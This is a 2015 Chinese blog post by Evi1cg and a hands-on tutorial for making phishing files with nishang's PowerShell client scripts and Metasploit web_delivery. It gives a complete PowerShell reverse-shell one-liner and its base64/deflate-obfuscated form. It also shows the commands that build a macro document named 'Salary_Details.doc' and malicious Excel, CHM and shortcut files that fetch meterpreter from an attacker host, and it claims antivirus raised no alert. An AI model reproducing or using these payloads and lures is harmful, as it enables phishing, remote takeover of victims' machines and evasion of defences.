使用powershell Client进行有效钓鱼

Evi1cg · 2015/09/11 16:40

0x00 简介


Powershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。其中office类型文件可以达到钓鱼目的的前提是office已经启用宏

0x01制作word钓鱼文件


下载powercat (powershell的nc

加载powercat :

PS G:\github\Pentest\powershell\powercat-master> . .\powercat.ps1
PS G:\github\Pentest\powershell\powercat-master> powercat
You must select either client mode (-c) or listen mode (-l).

加载以后使用powercat开启监听:

PS G:\github\Pentest\powershell\powercat-master> powercat -l -v -p 4444
详细信息: Set Stream 1: TCP
详细信息: Set Stream 2: Console
详细信息: Setting up Stream 1...
详细信息: Listening on [0.0.0.0] (port 4444)

测试加载Invoke-PowerShellTcp并执行:

PS G:\github\Pentest\powershell\nishang-master\Shells> . .\Invoke-PowerShellTcp.ps1
PS G:\github\Pentest\powershell\nishang-master\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -Port 4444

执行结果如下图:

可以发现,直接获取了一个powershell的shell。下面制作word文件。 复制nishang中Invoke-PowerShellTcpOneLine.ps1 client代码,如下:

$client = New-Object System.Net.Sockets.TCPClient("192.168.52.129",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text language=".encoding"][/text]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

使用Invoke-Encode.ps1进行编码,编码之前记得要修改ip以及自己要监听的端口

PS G:\github\Pentest\powershell\nishang-master\Shells> cd ..\Utility\
PS G:\github\Pentest\powershell\nishang-master\Utility> . .\Invoke-Encode.ps1
PS G:\github\Pentest\powershell\nishang-master\Utility> Invoke-Encode -DataToEncode '$client = New-Object System.Net.Sockets.TCPClient("192.1
68.52.129",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$da
ta = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendb
ack + "PS " + (pwd).Path + "> ";$sendbyte = ([text language=".encoding"][/text]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream
.Flush()};$client.Close()' -IsString -PostScriptCommand
Encoded data written to .\encoded.txt
Encoded command written to .\encodedcommand.txt

复制encodedcommand.txt的代码如下:

Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('TVHNasJAEL4X+g5DSMsuNUtMG6mGCm1oi1CiNEIP4mFNBpMao5gRFfXdu5uY1L3MMHx/M2tGWYo5wQsEuLOGs1+MCMJDQbgUAZIIV9ECqRBjf+SXSGa0u45od56Fq4rTNVpP6nHPLGiDcqmEzEpSfCKF5YxxbzI7EE6mU1PXQoFsITqu++ie7o722dslaYaMmammV0LiG2XMKnwL7BZUrfjCfE4J52DlCDY/emYsSSoeu1rAGh/WGMgl1quMcU/iNfQHg/c8WsVpPueXfKqtXbRJqjfBPJ7JaKFFU9xD5eD079twguGWrIoGV1AHyuQ18QGMUQiGqmy9i7kYSUr0sA/GhaMMtfyEdDC8ZJr2emXGMtubzsT+HZoTi59NSsgaHZW76evzNNiPbFskjJ+9+lf8bFUg47c3fw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

加载Out-Word.ps1并生成后门,这里要注意,要把payload里面的单引号多加一个单引号!

PS G:\github\Pentest\powershell\nishang-master\Utility> . ..\Client\Out-Word.ps1
PS G:\github\Pentest\powershell\nishang-master\Utility> Out-Word -Payload 'powershell -c Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(''TVHNasJAEL4X+g5DSMsuNUtMG6mGCm1oi1CiNEIP4mFNBpMao5gRFfXdu5uY1L3MMHx/M2tGWYo5wQsEuLOGs1+MCMJDQbgUAZIIV9ECqRBjf+SXSGa0u45od56Fq4rTNVpP6nHPLGiDcqmEzEpSfCKF5YxxbzI7EE6mU1PXQoFsITqu++ie7o722dslaYaMmammV0LiG2XMKnwL7BZUrfjCfE4J52DlCDY/emYsSSoeu1rAGh/WGMgl1quMcU/iNfQHg/c8WsVpPueXfKqtXbRJqjfBPJ7JaKFFU9xD5eD079twguGWrIoGV1AHyuQ18QGMUQiGqmy9i7kYSUr0sA/GhaMMtfyEdDC8ZJr2emXGMtubzsT+HZoTi59NSsgaHZW76evzNNiPbFskjJ+9+lf8bFUg47c3fw=='')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();'
Saved to file G:\github\Pentest\powershell\nishang-master\Utility\Salary_Details.doc
0
PS G:\github\Pentest\powershell\nishang-master\Utility>

执行word以后,则会反弹shell,在启用宏的计算机上没有任何提示,未启用宏的计算机会有启用宏的提示。

获取反弹的powershell可以很容易的升级到metasploit的meterpreter。

0x02制作excel钓鱼文件


首先使用msf的web_delivery开启一个powershell的监听:

#bash
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set LHOST 192.168.52.129
LHOST => 192.168.52.129
msf exploit(web_delivery) > set URIPATH /
URIPATH =>
msf exploit(web_delivery) > exploit

开启服务如下图:

使用Out-Excel.ps1制作excel钓鱼文件:

D:\temp>powershell
Windows PowerShell
版权所有 (C) 2015 Microsoft Corporation。保留所有权利。    PS D:\temp> . .\Out-Excel.ps1
PS D:\temp> Out-Excel -PayloadURL http://192.168.52.129:8080/ -OutputFile  D:\temp\test.xls
Saved to file D:\temp\test.xls
0

其中http://192.168.52.129:8080/是msf开启的服务地址。 运行excel,获取meterpreter会话如下图:

0x03制作chm钓鱼文件


依然使用msf开启powershell的web_delivery,使用Out-CHM制作chm钓鱼文件:

PS D:\temp> Out-CHM -PayloadURL http://192.168.52.129:8080/ -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Microsoft HTML Help Compiler 4.74.8702    Compiling d:\temp\doc.chm    Compile time: 0 minutes, 1 second
2       Topics
4       Local links
4       Internet links
0       Graphics    Created d:\temp\doc.chm, 13,524 bytes
Compression increased file by 324 bytes.
PS D:\temp>

运行doc.chm,获取meterpreter会话:

缺点是会弹出黑框框。丢给几个小伙伴测试,都上线了(23333)。

0x04制作快捷方式钓鱼文件


依然使用之前开启的web_delivery,使用Out-Shortcut制作快捷方式钓鱼文件。

PS D:\temp> . .\Out-Shortcut.ps1
PS D:\temp> Out-Shortcut -PayloadURL http://192.168.52.129:8080/ -HotKey 'F3' -Icon 'notepad.exe'
The Shortcut file has been written as D:\temp\Shortcut to File Server.lnk

其中PayloadURL为web_delivery服务地址,Icon为快捷方式的图标,HotKey为快捷键。 右键属性快捷方式,可以看到快捷方式指向我们的服务地址,如下图:

运行快捷方式,可以获取meterpreter会话:

0x05小结


测试发现,上面几个方式还是挺有效的,使用chm方式更容易成功些,因为使用了powershell,防护软件并没有报警,其中还有WebQuery、java以及hta类型的钓鱼文件生成脚本,笔者测试java以及hta方式的没有成功,这里就不介绍了,至于WebQuery方式的在FB上已经有详细的介绍:传送门 有兴趣的小伙伴可以继续研究研究。

使用powershell Client进行有效dy相关推荐

  1. Powershell 渗透测试工具-Nishang

    Powershell 渗透测试工具-Nishang 分享到: 作者:V1ct0r 稿费:500RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 传送门 ...

  2. 使用Powershell对目标进行屏幕监控

    Nishang是基于PowerShell的渗透测试专用工具.集成了框架.脚本和各种payload.这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值.包括了下载和执行.键 ...

  3. powershell反弹shell

    powershell反弹shell,无中文乱码 $ps=$true while($true){$client = New-Object System.Net.Sockets.TCPClient(&qu ...

  4. 终端下载文件(windows和linux)

    文章目录 linux wget 自定义文件 git clone windows wget powershell -client linux wget linux使用wget下载很方便,首先确保安装了w ...

  5. 高级组合技打造“完美” 捆绑后门

    0x00 简介 之前写过一篇关于客户端钓鱼的文章:<使用powershell Client进行有效钓鱼>中,在使用各个Client进行测试的过程中,个人发现CHM文件是最好用的一个,但是其 ...

  6. 业务监控系统如何做,一起来看看如何使用Statsd+Graphite+Grafana搭建业务监控系统

    背景介绍 希望能够对业务指标监控,通过业务指标监控反应业务系统的稳定性,原因是通过对基础资源,应用服务状态,性能监控,不能够反应业务系统的稳定性,举个栗子:服务程序一切正常,下单接口因参数校验,导致很 ...

  7. activex control test container 服务器正在运行中_Desktop Central服务器RCE漏洞在野攻击分析...

    0x01 漏洞披露 在研究Desktop Central漏洞的过程中,我们在推特上找到了一位研究人员的帖子,该研究人员于2020年3月5日披露了Desktop Central的RCE漏洞. Zoho ...

  8. 使用ansible统一管理修改Linux和Windows管理员密码

    一.ansible安装: 1.选择一台centos 7 2.通过yum安装ansible #安装epel源 yum install epel-release -y #安装ansible yum ins ...

  9. windows 网管总结

    常用指令 shutdown -s -t 3600 # 一小时后自动关机 shutdown -a 取消关机 route add 10.1.10.0 mask 255.255.255.0 10.75.12 ...

最新文章

  1. Ardino基础教程 6_抢答器
  2. 250W电源带i7+GTX1080?
  3. Enterprise Library2.0研究(一)日志组件的使用场景
  4. 计算机应用培训课程安排表,计算机培训教学计划
  5. Iperf 源代码分析(四)
  6. qt获取当前正在编辑的文件名和路径_node学习——path 路径模块
  7. c语言内存四区,详解C语言中的内存四区模型及结构体对内存的使用
  8. 最快的滚屏截图软件--SpaceCapture
  9. 微信用户扫码登录和登录退出的业务逻辑实现(java版)
  10. 手把手教你微信第三方平台开发
  11. 论文写作之参考文献格式
  12. 实现高效的英文单词前缀匹配
  13. Flutter 与 RN对比
  14. 简单计算器 求一元二次方程的根
  15. 轮播图特效 html+css+js
  16. 浅谈虚树(虚仙人掌)
  17. sp经营许可证适用范围是什么?
  18. 王坤杨第十二周个人学习及生活情况总结
  19. iPad越狱搭建java环境_ipad怎么自己越狱?这里提供两种方法,友情提示:慎重!...
  20. caffe上手2:使用INRIA行人数据集对BVLC Caffe进行fine-tuning

热门文章

  1. dw打开html不显示表格,利用Dreamweaver处理网页表格方法
  2. 一个bug引发的人生感悟
  3. 工资条: EmailSender部分
  4. Markdown花样表格一键生成-基于Python
  5. 网站搭建需要什么技术?
  6. 隧道测量快速坐标反程序48004850计算器
  7. vconsole 轻松实现移动端调试
  8. 用HTML和CSS3做个鱼,如何使用CSS和D3实现小鱼游动的交互动画(附代码)
  9. Web课程设计-仿当当网-增删改查-java+jsp+mysql-期末大作业
  10. Excel函数返回定期付息证券的应计利息